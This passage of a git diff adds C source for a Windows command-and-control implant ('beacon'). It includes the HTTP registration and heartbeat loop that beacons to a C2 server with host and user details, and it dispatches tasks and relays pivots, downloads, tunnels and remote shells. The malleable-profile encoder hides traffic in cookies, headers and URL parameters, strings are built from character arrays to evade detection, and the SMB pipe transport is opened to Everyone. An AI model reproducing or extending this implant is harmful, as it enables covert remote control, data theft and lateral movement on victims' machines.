) continue; + + BYTE saved_profile = Nax->Config.ProfileLoaded; + + WCHAR reg_url[256]; + if ( saved_profile && Nax->Config.PostUriCount > 0 ) { + BYTE idx = Nax->Config.PostUriIdx; + PCHAR uri = Nax->Config.PostUris[idx]; + Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount ); + if ( ! NaxBuildUrl( Nax, c2_url_w, uri, reg_url, 256 ) ) continue; + NaxDbg( Nax, "REGISTER -> uri[%d] %s", (int)idx, uri ); + } else { + UINT32 ul = 0; while ( c2_url_w[ul] && ul < 255 ) ul++; + for ( UINT32 c = 0; c < ul; c++ ) reg_url[c] = c2_url_w[c]; + reg_url[ul] = L'\0'; + NaxDbg( Nax, "REGISTER -> %s", Nax->Config.C2Url ); + } + + Nax->Config.ProfileLoaded = 0; + INT reg_rc = NaxSend( Nax, reg_url, Nax->SessionId, env_h, env_len, resp_h, &resp_len ); + Nax->Config.ProfileLoaded = saved_profile; + NaxDbg( Nax, "REGISTER rc=%d resp=%u", reg_rc, resp_len ); + + if ( reg_rc != NAX_OK || resp_len == 0 ) { + Nax->Kernel32.Sleep( Nax->Config.SleepMs ); + continue; + } + + if ( saved_profile && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) { + UINT32 dec_cap = resp_len + 256; + PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap ); + if ( dec_buf ) { + UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_h, resp_len, dec_buf, dec_cap ); + if ( dec_len > 0 && dec_len <= dec_cap ) { + MmCopy( resp_h, dec_buf, dec_len ); + resp_len = dec_len; + } + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); + } + } + + UINT32 prof_plain_len = IO_CAP; + if ( NaxDecrypt( Nax, resp_h, resp_len, plain_h, &prof_plain_len ) != NAX_OK || prof_plain_len < NAX_FRAME_HDR ) { + NaxDbg( Nax, "REGISTER response invalid (decrypt failed)" ); + Nax->Kernel32.Sleep( Nax->Config.SleepMs ); + continue; + } + + BYTE pft = 0; PBYTE pfb = NULL; UINT32 pfbl = 0; + if ( NaxFrameDecode( plain_h, prof_plain_len, &pft, &pfb, &pfbl ) != NAX_OK ) { + NaxDbg( Nax, "REGISTER response invalid (bad frame)" ); + Nax->Kernel32.Sleep( Nax->Config.SleepMs ); + continue; + } + + if ( pft == NAX_WIRE_PROFILE ) { + NaxDbg( Nax, "PROFILE frame received, body=%u bytes", pfbl ); + NaxApplyProfile( Nax, pfb, pfbl ); + NaxDbg( Nax, "profile v%d loaded: %d GET URIs, %d POST URIs, ua=%s, rotation=%d", Nax->Config.ProfileVersion, Nax->Config.GetUriCount, Nax->Config.PostUriCount, Nax->Config.UserAgent, Nax->Config.Rotation ); + if ( Nax->Config.GetUriCount > 0 ) NaxDbg( Nax, " GET[0]=%s", Nax->Config.GetUris[0] ); + NaxDbg( Nax, " GET meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.GetClientMeta.Format, Nax->Config.GetClientMeta.Mask, Nax->Config.GetClientMeta.Placement, Nax->Config.GetClientMeta.Name ); + NaxDbg( Nax, " GET hdrCount=%d", Nax->Config.GetClientHdrCount ); + if ( Nax->Config.GetClientHdrCount > 0 ) NaxDbg( Nax, " GET hdr[0]=%s", Nax->Config.GetClientHdrs[0] ); + NaxDbg( Nax, " POST meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.PostClientMeta.Format, Nax->Config.PostClientMeta.Mask, Nax->Config.PostClientMeta.Placement, Nax->Config.PostClientMeta.Name ); + NaxDbg( Nax, " POST out: fmt=%d mask=%d place=%d prepLen=%d appLen=%d", Nax->Config.PostClientOutput.Format, Nax->Config.PostClientOutput.Mask, Nax->Config.PostClientOutput.Placement, Nax->Config.PostClientOutput.PrependLen, Nax->Config.PostClientOutput.AppendLen ); + if ( Nax->Config.PostUriCount > 0 ) NaxDbg( Nax, " POST[0]=%s", Nax->Config.PostUris[0] ); + } + break; + } + NaxDbg( Nax, "REGISTER confirmed" ); + + BOOL pendingPivotDrain = FALSE; + + /* ---- heartbeat loop ---- */ + for ( ;; ) { + frame_len = FRAME_CAP; + if ( NaxBuildHeartbeat( frame_h, &frame_len ) != NAX_OK ) continue; + + env_len = FRAME_CAP; + if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK ) continue; + + resp_len = IO_CAP; + Nax->DynResp = NULL; + Nax->DynRespLen = 0; + + if ( NaxSendHeartbeat( Nax, c2_url_w, Nax->SessionId, env_h, env_len, resp_h, &resp_len ) != NAX_OK ) continue; + + PBYTE use_resp = resp_h; + UINT32 use_resp_len = resp_len; + PBYTE dyn_plain = NULL; + + if ( Nax->DynResp ) { + use_resp = Nax->DynResp; + use_resp_len = Nax->DynRespLen; + } + + if ( use_resp_len == 0 ) { + if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; } + continue; + } + + PBYTE use_plain = plain_h; + UINT32 use_plain_cap = IO_CAP; + + if ( use_resp_len > IO_CAP ) { + dyn_plain = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, use_resp_len ); + if ( !dyn_plain ) { + if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; } + continue; + } + use_plain = dyn_plain; + use_plain_cap = use_resp_len; + } + + UINT32 plain_len = use_plain_cap; + if ( NaxDecrypt( Nax, use_resp, use_resp_len, use_plain, &plain_len ) != NAX_OK ) { + if ( dyn_plain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain ); + if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; } + continue; + } + + if ( Nax->DynResp ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); + Nax->DynResp = NULL; + Nax->DynRespLen = 0; + } + + /* dispatch tasks */ + PBYTE cursor = use_plain; + UINT32 remaining = plain_len; + BOOL hadTasks = FALSE; + + while ( remaining >= NAX_FRAME_HDR ) { + BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0; + if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break; + + UINT32 step = NAX_FRAME_HDR + fbl; + if ( step > remaining ) break; + cursor += step; + remaining -= step; + + if ( ft == NAX_WIRE_NO_TASKS ) break; + if ( ft != NAX_WIRE_TASK ) continue; + + NAX_TASK task; + if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) { + NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl ); + continue; + } + NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen ); + hadTasks = TRUE; + + UINT32 r_tid = 0; + BYTE r_stat = 0; + UINT32 r_len = RESULT_CAP; + + if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_h, &r_len ) ) { + NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId ); + continue; + } + + NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len ); + INT rc = HttpSendResult( Nax, r_tid, r_stat, result_h, r_len, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + NaxDbg( Nax, "[task] result sent rc=%d", rc ); + } + + if ( dyn_plain ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain ); + dyn_plain = NULL; + } + + { + NAX_PIVOT* _pv = Nax->PivotHead; + while ( _pv ) { + if ( _pv->Async->DataSent ) + pendingPivotDrain = TRUE; + _pv = _pv->Next; + } + } + + /* relay pivots, downloads, jobs, tunnels */ + if ( Nax->PivotHead ) + HttpRelayPivots( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + + if ( Nax->DownloadHead ) + HttpRelayDownloads( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + + if ( Nax->JobHead ) + HttpRelayJobs( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + + if ( Nax->TunnelHead ) + HttpRelayTunnels( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + + if ( Nax->ShellHead ) + HttpRelayShells( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP ); + + /* Burst: when the server had tasks, re-check immediately so + * follow-up tasks queued during the sleep window are dispatched + * without waiting a full heartbeat cycle. */ + if ( hadTasks ) { + NaxDbg( Nax, "[HB] burst: re-checking for tasks" ); + continue; + } + + UINT32 eff_sleep = NaxEffectiveSleep( Nax ); + if ( pendingPivotDrain && Nax->PivotHead ) { + pendingPivotDrain = FALSE; + NaxDbg( Nax, "[HB] pivot drain: fast heartbeat (100 ms)" ); + Nax->Kernel32.Sleep( 100 ); + continue; + } else { + NaxDbg( Nax, "[HB] sleeping %lu ms (base=%lu jitter=%u%%) Sleep=%p GateOrig=%p Gate=%p", + eff_sleep, Nax->Config.SleepMs, Nax->Config.JitterPct, + (PVOID)Nax->Kernel32.Sleep, Nax->GateOriginals.Sleep, Nax->Gate ); + Nax->Kernel32.Sleep( eff_sleep ); + } + } +} diff --git a/src_beacon/src/Transport/HttpCodec.c b/src_beacon/src/Transport/HttpCodec.c new file mode 100644 index 0000000..e15518a --- /dev/null +++ b/src_beacon/src/Transport/HttpCodec.c @@ -0,0 +1,261 @@ +/* beacon/src/Transport/HttpCodec.c + * OutputConfig-driven encode/decode pipeline and request header builder. + * Used by Http.c (NaxHttpGet, NaxHttpPost) to transform data per profile. */ + +#include "Nax.h" + +/* ========= [ OutputConfig encode/decode ] ========= */ + +FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + PBYTE input = (PBYTE)src; + UINT32 input_len = src_len; + + /* mask adds 4 bytes; base64 expands ~4/3; hex expands 2x - size for worst case */ + UINT32 mask_cap = src_len + 8; + UINT32 enc_cap = ( mask_cap * 2 ) + 16; + + PBYTE work = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, mask_cap + enc_cap ); + if ( !work ) return 0; + PBYTE mask_buf = work; + PCHAR enc_buf = (PCHAR)( work + mask_cap ); + + /* XOR mask */ + if ( cfg->Mask ) { + input_len = NaxXorMask( Nax, input, input_len, mask_buf, mask_cap ); + if ( input_len == 0 ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; } + input = mask_buf; + } + + /* Encode */ + UINT32 enc_len = 0; + switch ( cfg->Format ) { + case NAX_FMT_BASE64: + enc_len = NaxBase64Encode( input, input_len, enc_buf, enc_cap ); + break; + case NAX_FMT_BASE64URL: + enc_len = NaxBase64UrlEncode( input, input_len, enc_buf, enc_cap ); + break; + case NAX_FMT_HEX: + if ( input_len * 2 + 1 > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; } + NaxHexEncode( input, input_len, enc_buf ); + enc_len = input_len * 2; + break; + default: + if ( input_len > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; } + MmCopy( enc_buf, input, input_len ); + enc_len = input_len; + break; + } + + /* Prepend + encoded + append */ + UINT32 total = cfg->PrependLen + enc_len + cfg->AppendLen; + if ( total > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; } + UINT32 off = 0; + if ( cfg->PrependLen > 0 ) { MmCopy( dst + off, cfg->Prepend, cfg->PrependLen ); off += cfg->PrependLen; } + MmCopy( dst + off, enc_buf, enc_len ); off += enc_len; + if ( cfg->AppendLen > 0 ) { MmCopy( dst + off, cfg->Append, cfg->AppendLen ); off += cfg->AppendLen; } + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); + return off; +} + +FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + PBYTE data = (PBYTE)src; + UINT32 data_len = src_len; + + /* Strip prepend/append */ + if ( data_len >= cfg->PrependLen + cfg->AppendLen ) { + data += cfg->PrependLen; + data_len -= cfg->PrependLen + cfg->AppendLen; + } + + UINT32 buf_sz = data_len < 4096 ? 4096 : data_len; + PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, buf_sz ); + if ( !dec_buf ) return 0; + + /* Decode format */ + UINT32 dec_len = 0; + switch ( cfg->Format ) { + case NAX_FMT_BASE64: + case NAX_FMT_BASE64URL: + dec_len = NaxBase64Decode( (PCHAR)data, data_len, dec_buf, buf_sz ); + break; + case NAX_FMT_HEX: + dec_len = NaxHexDecode( (PCHAR)data, data_len, dec_buf, buf_sz ); + break; + default: + if ( data_len > buf_sz ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; } + MmCopy( dec_buf, data, data_len ); + dec_len = data_len; + break; + } + + /* XOR unmask */ + if ( cfg->Mask && dec_len > 4 ) { + UINT32 r = NaxXorUnmask( dec_buf, dec_len, dst, dst_cap ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); + return r; + } + if ( dec_len > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; } + MmCopy( dst, dec_buf, dec_len ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); + return dec_len; +} + +/* ========= [ header builder ] ========= */ + +/* Append CHAR string to WCHAR output buffer. Returns new write index. */ +FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap ) { + UINT32 i = 0; + while ( ascii[ i ] && wi < cap - 1 ) { out[ wi++ ] = (WCHAR)(BYTE)ascii[ i++ ]; } + return wi; +} + +/* Append CRLF to WCHAR buffer. Returns new write index. */ +FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap ) { + if ( wi + 2 < cap ) { out[ wi++ ] = L'\r'; out[ wi++ ] = L'\n'; } + return wi; +} + +/* Build request headers into a WCHAR buffer. + * `hdrs` / `hdr_count` : profile client headers array (e.g. GetClientHdrs) + * `meta_cfg` : OutputConfig for metadata (session ID or encrypted data) + * `meta_encoded` : already-encoded metadata value (CHAR) + * `meta_encoded_len` : length of encoded metadata + * `is_post` : whether this is a POST request (for Content-Type) */ +FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap ) { + UINT32 wi = 0; + + /* Beacon ID header - name from profile (default: X-Beacon-Id) */ + wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, out, wi, out_cap ); + if ( wi < out_cap - 1 ) out[ wi++ ] = L':'; + if ( wi < out_cap - 1 ) out[ wi++ ] = L' '; + wi = NaxAppendAsciiW( sid, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + + /* Place metadata per OutputConfig placement */ + if ( meta_encoded && meta_encoded_len > 0 ) { + switch ( meta_cfg->Placement ) { + case NAX_PLACE_HEADER: { + /* Name: encoded_value\r\n */ + wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap ); + if ( wi < out_cap - 1 ) out[ wi++ ] = L':'; + if ( wi < out_cap - 1 ) out[ wi++ ] = L' '; + wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + break; + } + case NAX_PLACE_COOKIE: { + /* Cookie: Name=encoded_value\r\n */ + CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' }; + wi = NaxAppendAsciiW( ck, out, wi, out_cap ); + wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap ); + if ( wi < out_cap - 1 ) out[ wi++ ] = L'='; + wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + break; + } + default: + /* BODY and PARAMETER placements are handled outside headers */ + break; + } + } + + /* Content-Type for POST body - only when no profile headers (they include their own) */ + if ( is_post && hdr_count == 0 ) { + CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' }; + wi = NaxAppendAsciiW( ct, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + } + + /* Extra headers from profile */ + for ( BYTE h = 0; h < hdr_count; h++ ) { + wi = NaxAppendAsciiW( hdr_base + h * hdr_stride, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + } + + CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' }; + wi = NaxAppendAsciiW( hdr_p, out, wi, out_cap ); + wi = NaxAppendCRLF( out, wi, out_cap ); + + out[ wi ] = L'\0'; +} + +/* ========= [ URL builder helper ] ========= */ + +FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap ) { + URL_COMPONENTS boot_uc; + MmZero( &boot_uc, sizeof( boot_uc ) ); + boot_uc.dwStructSize = sizeof( boot_uc ); + WCHAR boot_host[256] = { 0 }; + WCHAR boot_path[512] = { 0 }; + boot_uc.lpszHostName = boot_host; + boot_uc.dwHostNameLength = 256; + boot_uc.lpszUrlPath = boot_path; + boot_uc.dwUrlPathLength = 512; + if ( ! Nax->Winhttp.WinHttpCrackUrl( url_w, 0, 0, &boot_uc ) ) return FALSE; + + UINT32 ui = 0; + BOOL is_https = ( boot_uc.nScheme == INTERNET_SCHEME_HTTPS ); + if ( is_https ) { + CHAR s[] = {'h','t','t','p','s',':','/','/'}; for ( UINT32 c = 0; c < 8; c++ ) out[ui++] = (WCHAR)s[c]; + } else { + CHAR s[] = {'h','t','t','p',':','/','/'}; for ( UINT32 c = 0; c < 7; c++ ) out[ui++] = (WCHAR)s[c]; + } + for ( UINT32 c = 0; boot_host[c] && ui < out_cap - 16; c++ ) out[ui++] = boot_host[c]; + + /* Only append :port when it differs from the scheme default (80/443). + * Omitting the default port produces a clean Host header. */ + UINT32 port_val = (UINT32)boot_uc.nPort; + UINT32 default_port = is_https ? 443 : 80; + if ( port_val != default_port ) { + out[ui++] = ':'; + CHAR port_buf[8]; UINT32 pi = 0; + if ( port_val == 0 ) { port_buf[pi++] = '0'; } else { + CHAR tmp[8]; UINT32 ti = 0; + while ( port_val > 0 ) { tmp[ti++] = '0' + (CHAR)(port_val % 10); port_val /= 10; } + while ( ti > 0 ) port_buf[pi++] = tmp[--ti]; + } + for ( UINT32 c = 0; c < pi; c++ ) out[ui++] = (WCHAR)port_buf[c]; + } + + for ( UINT32 c = 0; uri[c] && ui < out_cap - 2; c++ ) out[ui++] = (WCHAR)uri[c]; + out[ui] = L'\0'; + return TRUE; +} + +/* ========= [ URL path builder with parameter append ] ========= */ + +/* Append ?name=value to a wide path buffer for PARAMETER placement. + * Also appends static parameters from GetClientParams. + * Returns the final path buffer (caller-supplied path_out). */ +FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count ) { + UINT32 wi = 0; + + /* Copy base path */ + while ( path_src[ wi ] && wi < path_cap - 256 ) { path_out[ wi ] = path_src[ wi ]; wi++; } + + BOOL has_qmark = FALSE; + /* Check if path already contains '?' */ + for ( UINT32 c = 0; c < wi; c++ ) { + if ( path_out[ c ] == L'?' ) { has_qmark = TRUE; break; } + } + + /* Append metadata as parameter if placement == PARAMETER */ + if ( meta_cfg && meta_encoded && meta_encoded_len > 0 && meta_cfg->Placement == NAX_PLACE_PARAMETER ) { + if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; } + else { path_out[ wi++ ] = L'&'; } + wi = NaxAppendAsciiW( meta_cfg->Name, path_out, wi, path_cap ); + path_out[ wi++ ] = L'='; + wi = NaxAppendAsciiW( meta_encoded, path_out, wi, path_cap ); + } + + /* Append static parameters: each entry is "name=value" */ + for ( BYTE p = 0; p < param_count; p++ ) { + if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; } + else { path_out[ wi++ ] = L'&'; } + wi = NaxAppendAsciiW( param_base + p * param_stride, path_out, wi, path_cap ); + } + + path_out[ wi ] = L'\0'; +} diff --git a/src_beacon/src/Transport/Smb.c b/src_beacon/src/Transport/Smb.c new file mode 100644 index 0000000..832453c --- /dev/null +++ b/src_beacon/src/Transport/Smb.c @@ -0,0 +1,517 @@ +/* beacon/src/Transport/Smb.c + * Child-side SMB named pipe transport. + * Creates a pipe server, waits for parent to connect, then enters an + * event-driven loop using WaitForMultipleObjects for sleepmask compat. + * + * Build with: make NAX_TRANSPORT_PROFILE=1 */ + +#include "Nax.h" +#include "Config.h" +#include "Transport.h" +#include "Pipe.h" + +/* ========= [ permissive DACL - Everyone RW ] ========= */ + +FUNC static BOOL SmbBuildPermissiveDacl( PNAX_INSTANCE Nax, PSECURITY_DESCRIPTOR pSD, PACL* ppAcl ) { + if ( ! Nax->Advapi32.InitializeSecurityDescriptor( pSD, SECURITY_DESCRIPTOR_REVISION ) ) + return FALSE; + + SID_IDENTIFIER_AUTHORITY worldAuth = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSid = NULL; + if ( ! Nax->Advapi32.AllocateAndInitializeSid( &worldAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSid ) ) + return FALSE; + + EXPLICIT_ACCESS_A ea; + MmZero( &ea, sizeof( ea ) ); + ea.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = NO_INHERITANCE; + ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (LPSTR)pEveryoneSid; + + if ( Nax->Advapi32.SetEntriesInAclA( 1, &ea, NULL, ppAcl ) != ERROR_SUCCESS ) { + Nax->Advapi32.FreeSid( pEveryoneSid ); + return FALSE; + } + + Nax->Advapi32.FreeSid( pEveryoneSid ); + + if ( ! Nax->Advapi32.SetSecurityDescriptorDacl( pSD, TRUE, *ppAcl, FALSE ) ) + return FALSE; + + return TRUE; +} + +/* ========= [ SMB transport helpers ] ========= */ + +FUNC static BOOL SmbSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + UINT32 frame_len = frame_cap; + if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return TRUE; + UINT32 env_len = env_cap; + if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return TRUE; + return NaxPipeWrite( Nax, hPipe, hWriteEvent, env, env_len ); +} + +FUNC static BOOL SmbRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) { + UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap ); + *pDataRelayed = ( piv_len > 0 ); + PBYTE piv_cur = result; + UINT32 piv_rem = piv_len; + while ( piv_rem >= 4 ) { + UINT32 entryLen = *(UINT32*)piv_cur; + if ( entryLen == 0 || 4 + entryLen > piv_rem ) break; + if ( ! SmbSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) ) + return FALSE; + piv_cur += 4 + entryLen; + piv_rem -= 4 + entryLen; + } + if ( piv_len > 0 ) + NaxDbg( Nax, "[pivot] relayed %u bytes of grandchild data", piv_len ); + return TRUE; +} + +FUNC static BOOL SmbRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + UINT32 job_len = NaxProcessJobs( Nax, result, result_cap ); + UINT32 joff = 0; + while ( joff + 9 <= job_len ) { + BYTE jtype = result[ joff ]; + UINT32 jtid = NaxR32( result + joff + 1 ); + UINT32 jdata = NaxR32( result + joff + 5 ); + if ( joff + 9 + jdata > job_len ) break; + if ( ! SmbSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) ) + return FALSE; + joff += 9 + jdata; + } + return TRUE; +} + +FUNC static BOOL SmbRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + UINT32 sh_len = NaxProcessShells( Nax, result, result_cap ); + UINT32 soff = 0; + while ( soff + 9 <= sh_len ) { + BYTE stype = result[ soff ]; + UINT32 stid = NaxR32( result + soff + 1 ); + UINT32 sdata = NaxR32( result + soff + 5 ); + if ( soff + 9 + sdata > sh_len ) break; + if ( ! SmbSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) ) + return FALSE; + soff += 9 + sdata; + } + return TRUE; +} + +FUNC static BOOL SmbRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap ); + UINT32 doff = 0; + while ( doff + 8 <= dl_len ) { + UINT32 tid = NaxR32( result + doff ); + UINT32 dlen = NaxR32( result + doff + 4 ); + if ( doff + 8 + dlen > dl_len ) break; + if ( ! SmbSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) ) + return FALSE; + doff += 8 + dlen; + } + return TRUE; +} + +FUNC static BOOL SmbTunnelActive( PNAX_INSTANCE Nax ) { + NAX_TUNNEL* t = Nax->TunnelHead; + while ( t ) { + if ( t->Mode == NAX_TUNNEL_MODE_TCP ) + return TRUE; + t = t->Next; + } + return FALSE; +} + +FUNC static BOOL SmbRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) { + UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap ); + *pDataRelayed = ( tun_len > 0 ); + if ( tun_len == 0 ) return TRUE; + return SmbSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ); +} + +FUNC static BOOL SmbDoRegister( PNAX_INSTANCE Nax, PNAX_SYSINFO info, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) { + BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF; + if ( NaxBuildRegBody( info->Hostname, info->HnLen, info->Username, info->UnLen, NAX_ARCH_X64, info->Pid, Nax->Config.SleepMs, info->Tid, info->IpStr, info->IpLen, info->Domain, info->DmLen, info->Procname, info->PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info->ImLen, reg_body, ®_body_len ) != NAX_OK ) { + NaxDbg( Nax, "NaxBuildRegBody failed" ); + return FALSE; + } + + UINT32 frame_len = frame_cap; + if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_buf, &frame_len ) != NAX_OK ) { + NaxDbg( Nax, "NaxFrameEncode REGISTER failed" ); + return FALSE; + } + + UINT32 env_len = env_cap; + if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) { + NaxDbg( Nax, "NaxEncrypt REGISTER failed" ); + return FALSE; + } + + UINT32 beatLen = 4 + NAX_SID_LEN - 1 + env_len; + PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen ); + if ( ! beatBuf ) { + NaxDbg( Nax, "heap alloc beat failed" ); + return FALSE; + } + *(UINT32*)beatBuf = Nax->Config.ListenerWm; + MmCopy( beatBuf + 4, Nax->SessionId, NAX_SID_LEN - 1 ); + MmCopy( beatBuf + 4 + NAX_SID_LEN - 1, env_buf, env_len ); + + BOOL beatOk = 